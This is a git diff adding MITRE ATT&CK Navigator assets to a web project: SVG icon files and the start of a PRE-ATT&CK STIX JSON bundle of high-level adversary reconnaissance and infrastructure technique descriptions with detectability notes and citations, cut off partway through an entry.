b/public/assets/attack-navigator/assets/icons/ic_insert_chart_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_insert_comment_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_insert_comment_black_24px.svg new file mode 100644 index 0000000..6cea43c --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_insert_comment_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_insert_comment_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_insert_comment_gray_24px.svg new file mode 100644 index 0000000..693ace0 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_insert_comment_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_down_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_down_black_24px.svg new file mode 100644 index 0000000..f7122dd --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_down_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_right_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_right_black_24px.svg new file mode 100644 index 0000000..5c1e3e4 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_right_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_up_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_up_black_24px.svg new file mode 100644 index 0000000..528e52a --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_keyboard_arrow_up_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_layers_clear_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_layers_clear_black_24px.svg new file mode 100644 index 0000000..7256428 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_layers_clear_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_layers_clear_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_layers_clear_gray_24px.svg new file mode 100644 index 0000000..bf2017f --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_layers_clear_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_lock_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_lock_black_24px.svg new file mode 100644 index 0000000..cc45a35 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_lock_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_lock_open_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_lock_open_black_24px.svg new file mode 100644 index 0000000..86f9ed5 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_lock_open_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_palette_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_palette_black_24px.svg new file mode 100644 index 0000000..db6f9bf --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_palette_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_photo_size_select_large_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_photo_size_select_large_black_24px.svg new file mode 100644 index 0000000..298ed11 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_photo_size_select_large_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_playlist_add_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_playlist_add_black_24px.svg new file mode 100644 index 0000000..6ecd376 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_playlist_add_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_playlist_add_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_playlist_add_gray_24px.svg new file mode 100644 index 0000000..64349c7 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_playlist_add_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_refresh_24px.svg b/public/assets/attack-navigator/assets/icons/ic_refresh_24px.svg new file mode 100644 index 0000000..98440e2 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_refresh_24px.svg @@ -0,0 +1,6 @@ + + + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_remove_circle_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_remove_circle_black_24px.svg new file mode 100644 index 0000000..a88ec92 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_remove_circle_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_save_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_save_black_24px.svg new file mode 100644 index 0000000..f473722 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_save_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_save_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_save_gray_24px.svg new file mode 100644 index 0000000..961a75a --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_save_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_search_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_search_black_24px.svg new file mode 100644 index 0000000..ccc84b6 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_search_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_search_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_search_gray_24px.svg new file mode 100644 index 0000000..087646d --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_search_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_ascending_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_ascending_black_24px.svg new file mode 100644 index 0000000..df56f07 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_ascending_black_24px.svg @@ -0,0 +1,10 @@ + + + + A + Z + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_black_24px.svg new file mode 100644 index 0000000..56ef33b --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_black_24px.svg @@ -0,0 +1,8 @@ + + + + A + + diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_descending_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_descending_black_24px.svg new file mode 100644 index 0000000..7bf2c2b --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_alphabetically_descending_black_24px.svg @@ -0,0 +1,9 @@ + + + + Z + A + + diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_numerically_ascending_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_ascending_black_24px.svg new file mode 100644 index 0000000..4f6f90f --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_ascending_black_24px.svg @@ -0,0 +1,9 @@ + + + + 1 + 2 + + diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_numerically_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_black_24px.svg new file mode 100644 index 0000000..bc7396f --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_black_24px.svg @@ -0,0 +1,8 @@ + + + + # + + diff --git a/public/assets/attack-navigator/assets/icons/ic_sort_numerically_descending_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_descending_black_24px.svg new file mode 100644 index 0000000..b237475 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_sort_numerically_descending_black_24px.svg @@ -0,0 +1,10 @@ + + + + 2 + 1 + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_texture_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_texture_black_24px.svg new file mode 100644 index 0000000..e2a46b9 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_texture_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_texture_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_texture_gray_24px.svg new file mode 100644 index 0000000..3390b09 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_texture_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_view_large_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_view_large_black_24px.svg new file mode 100644 index 0000000..106a02d --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_view_large_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_view_list_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_view_list_black_24px.svg new file mode 100644 index 0000000..d381015 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_view_list_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_view_list_grey_24px.svg b/public/assets/attack-navigator/assets/icons/ic_view_list_grey_24px.svg new file mode 100644 index 0000000..2af1fed --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_view_list_grey_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_view_medium_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_view_medium_black_24px.svg new file mode 100644 index 0000000..ddb0ec9 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_view_medium_black_24px.svg @@ -0,0 +1,5 @@ + + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_view_small_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_view_small_black_24px.svg new file mode 100644 index 0000000..82b43f5 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_view_small_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_visibility_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_visibility_black_24px.svg new file mode 100644 index 0000000..2e21adb --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_visibility_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/ic_visibility_gray_24px.svg b/public/assets/attack-navigator/assets/icons/ic_visibility_gray_24px.svg new file mode 100644 index 0000000..a4f8af4 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_visibility_gray_24px.svg @@ -0,0 +1,4 @@ + + + + diff --git a/public/assets/attack-navigator/assets/icons/ic_visibility_off_black_24px.svg b/public/assets/attack-navigator/assets/icons/ic_visibility_off_black_24px.svg new file mode 100644 index 0000000..8e8af52 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/ic_visibility_off_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/unfold_less_black_24px.svg b/public/assets/attack-navigator/assets/icons/unfold_less_black_24px.svg new file mode 100644 index 0000000..ed629cd --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/unfold_less_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/unfold_less_gray_24px.svg b/public/assets/attack-navigator/assets/icons/unfold_less_gray_24px.svg new file mode 100644 index 0000000..ff79547 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/unfold_less_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/unfold_more_black_24px.svg b/public/assets/attack-navigator/assets/icons/unfold_more_black_24px.svg new file mode 100644 index 0000000..74f625a --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/unfold_more_black_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/icons/unfold_more_gray_24px.svg b/public/assets/attack-navigator/assets/icons/unfold_more_gray_24px.svg new file mode 100644 index 0000000..e559494 --- /dev/null +++ b/public/assets/attack-navigator/assets/icons/unfold_more_gray_24px.svg @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/public/assets/attack-navigator/assets/image_scoreVariableExample.png b/public/assets/attack-navigator/assets/image_scoreVariableExample.png new file mode 100644 index 0000000..c08adf0 Binary files /dev/null and b/public/assets/attack-navigator/assets/image_scoreVariableExample.png differ diff --git a/public/assets/attack-navigator/assets/pre-attack.json b/public/assets/attack-navigator/assets/pre-attack.json new file mode 100644 index 0000000..46821c3 --- /dev/null +++ b/public/assets/attack-navigator/assets/pre-attack.json @@ -0,0 +1,8504 @@ +{ + "type": "bundle", + "id": "bundle--803f51fd-e986-493c-9ab1-0b33b42a4dec", + "spec_version": "2.0", + "objects": [ + { + "x_mitre_old_attack_id": "PRE-T1043", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.", + "name": "Acquire OSINT data sets and information", + "description": "Open source intelligence (OSINT) provides free, readily available information about a target while providing the target no indication they are of interest. Such information can assist an adversary in crafting a successful approach for compromise. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--2b9a666e-bd59-4f67-9031-ed41b428e04a", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Possible to gather digital intelligence about a person is easily aided by social networking sites, free/for fee people search engines, and publicly available information (e.g., county databases on tickets/DUIs).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1266", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1266" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1024", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain. Direct access to the selected target is not required for the adversary to conduct this technique. There is a limited ability to detect this by looking at referrer fields on local web site accesses (e.g., a person who has accessed your web servers from [https://www.shodan.io Shodan]).", + "name": "Acquire OSINT data sets and information", + "description": "Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line, such as from search engines, as well as in the physical world. (Citation: RSA-APTRecon)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "technical-information-gathering" + } + ], + "id": "attack-pattern--784ff1bc-1483-41fe-a172-4cd9ae25c06b", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Possible to gather technical intelligence about Internet accessible systems/devices by obtaining various commercial data sets and supporting business intelligence tools for ease of analysis. Commercial data set examples include advertising content delivery networks, Internet mapping/traffic collections, system fingerprinting data sets, device fingerprinting data sets, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1247", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1247" + }, + { + "description": "Rotem Kerner. (2015, October). RECONNAISSANCE: A Walkthrough of the \u201cAPT\u201d Intelligence Gathering Process. Retrieved March 1, 2017.", + "source_name": "RSA-APTRecon" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1054", + "x_mitre_detectable_by_common_defenses_explanation": "This activity is indistinguishable from legitimate business uses and easy to obtain.", + "name": "Acquire OSINT data sets and information", + "description": "Data sets can be anything from Security Exchange Commission (SEC) filings to public phone numbers. Many datasets are now either publicly available for free or can be purchased from a variety of data vendors. Open source intelligence (OSINT) is intelligence gathered from publicly available sources. This can include both information gathered on-line as well as in the physical world. (Citation: SANSThreatProfile) (Citation: Infosec-osint) (Citation: isight-osint)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-information-gathering" + } + ], + "id": "attack-pattern--028ad431-84c5-4eb7-a364-2b797c234f88", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Large quantities of data exists on people, organizations and technologies whether divulged wittingly or collected as part of doing business on the Internet (unbeknownst to the user/company). Search engine and database indexing companies continuously mine this information and make it available to anyone who queries for it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1277", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1277" + }, + { + "description": "Stephen Irwin. (2014, September 8). Creating a Threat Profile for Your Organization. Retrieved March 5, 2017.", + "source_name": "SANSThreatProfile" + }, + { + "description": "InfoSec Institute. (2013, September 11). OSINT (Open-Source Intelligence). Retrieved May 9, 2017.", + "source_name": "Infosec-osint" + }, + { + "description": "Dawn Lomer. (2017). 101+ OSINT Resources for Investigators. Retrieved May 9, 2017.", + "source_name": "isight-osint" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1106", + "x_mitre_detectable_by_common_defenses_explanation": "Hard to differentiate from standard business operations.", + "name": "Acquire and/or use 3rd party infrastructure services", + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: TrendmicroHideoutsLease)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--795c1a92-3a26-453e-b99a-6a566aa94dc6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Wide variety of cloud/VPS/hosting/compute/storage solutions available for adversary to acquire freely or at a low cost.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1329", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1329" + }, + { + "description": "Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.", + "source_name": "TrendmicroHideoutsLease" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1084", + "x_mitre_detectable_by_common_defenses_explanation": "3rd party services highly leveraged by legitimate services, hard to distinguish from background noise. While an adversary can use their own infrastructure, most know this is a sure- re way to get caught. To add degrees of separation, they can buy or rent from another adversary or accomplice.", + "name": "Acquire and/or use 3rd party infrastructure services", + "description": "A wide variety of cloud, virtual private services, hosting, compute, and storage solutions are available. Additionally botnets are available for rent or purchase. Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--286cc500-4291-45c2-99a1-e760db176402", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Wide range of 3rd party services for hosting, rotating, or moving C2, static data, exploits, exfiltration, etc.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1307", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1307" + }, + { + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.", + "source_name": "LUCKYCAT2012" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1085", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.", + "name": "Acquire and/or use 3rd party software services", + "description": "A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LUCKYCAT2012) (Citation: Nemucod Facebook)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--1a295f87-af63-4d94-b130-039d6221fb11", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1308", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1308" + }, + { + "description": "Forward-Looking Threat Research Team. (2012). LUCKYCAT REDUX: Inside an APT Campaign with Multiple Targets in India and Japan. Retrieved March 1, 2017.", + "source_name": "LUCKYCAT2012" + }, + { + "description": "Bart Blaze. (2016, November 20). Nemucod downloader spreading via Facebook. Retrieved March 28, 2017.", + "source_name": "Nemucod Facebook" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1107", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility over account creation for 3rd party software services.", + "name": "Acquire and/or use 3rd party software services", + "description": "A wide variety of 3rd party software services are available (e.g., [Twitter](https://twitter.com), [Dropbox](https://www.dropbox.com), [GoogleDocs](https://www.google.com/docs/about)). Use of these solutions allow an adversary to stage, launch, and execute an attack from infrastructure that does not physically tie back to them and can be rapidly provisioned, modified, and shut down. (Citation: LOWBALL2015)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--488da8ed-2887-4ef6-a39a-5b69bc6682c6", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "3rd party services like these listed are freely available.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1330", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1330" + }, + { + "description": "FireEye Threat Intelligence. (2015, December 1). China-based Cyber Threat Group Uses Dropbox for Malware Communications and Targets Hong Kong Media Outlets. Retrieved March 1, 2017.", + "source_name": "LOWBALL2015" + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1087", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.", + "name": "Acquire or compromise 3rd party signing certificates", + "description": "Code signing is the process of digitally signing executables or scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: Adobe Code Signing Cert)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "id": "attack-pattern--e5164428-03ca-4336-a9a7-4d9ea1417e59", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-19T18:54:54.471Z", + "external_references": [ + { + "external_id": "T1310", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1310" + }, + { + "source_name": "Adobe Code Signing Cert", + "description": "Brad Arkin. (2012, September 27). Inappropriate Use of Adobe Code Signing Certificate. Retrieved March 28, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1109", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not know what certificates an adversary acquires from a 3rd party. Defender will not know prior to public disclosure if a 3rd party has had their certificate compromised.", + "name": "Acquire or compromise 3rd party signing certificates", + "description": "Code signing is the process of digitally signing executables and scripts to confirm the software author and guarantee that the code has not been altered or corrupted. Users may trust a signed piece of code more than an unsigned piece of code even if they don't know who issued the certificate or who the author is. (Citation: DiginotarCompromise)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "id": "attack-pattern--03f4a766-7a21-4b5e-9ccf-e0cf422ab983", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "No", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "It is trivial to purchase code signing certificates within an organization; many exist and are available at reasonable cost. It is complex to factor or steal 3rd party code signing certificates for use in malicious mechanisms", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2019-02-19T18:56:56.071Z", + "external_references": [ + { + "external_id": "T1332", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1332" + }, + { + "source_name": "DiginotarCompromise", + "description": "Dennis Fisher. (2012, October 31). FINAL REPORT ON DIGINOTAR HACK SHOWS TOTAL COMPROMISE OF CA SERVERS. Retrieved March 6, 2017." + } + ], + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "x_mitre_old_attack_id": "PRE-T1052", + "x_mitre_detectable_by_common_defenses_explanation": "Searching publicly available sources that cannot be monitored by a defender.", + "name": "Aggregate individual's digital footprint", + "description": "In addition to a target's social media presence may exist a larger digital footprint, such as accounts and credentials on e-commerce sites or usernames and logins for email. An adversary familiar with a target's username can mine to determine the target's larger digital footprint via publicly available sources. (Citation: DigitalFootprint) (Citation: trendmicro-vtech)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "people-information-gathering" + } + ], + "id": "attack-pattern--b3f36317-3940-4d71-968f-e11ac1bf6a31", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary": "Yes", + "type": "attack-pattern", + "x_mitre_difficulty_for_adversary_explanation": "Information readily available through searches", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "modified": "2018-10-17T00:14:20.652Z", + "external_references": [ + { + "external_id": "T1275", + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1275" + }, + { + "description": "Christopher Budd. (2016, June 27). The importance of understanding your digital footprint. Retrieved May 4, 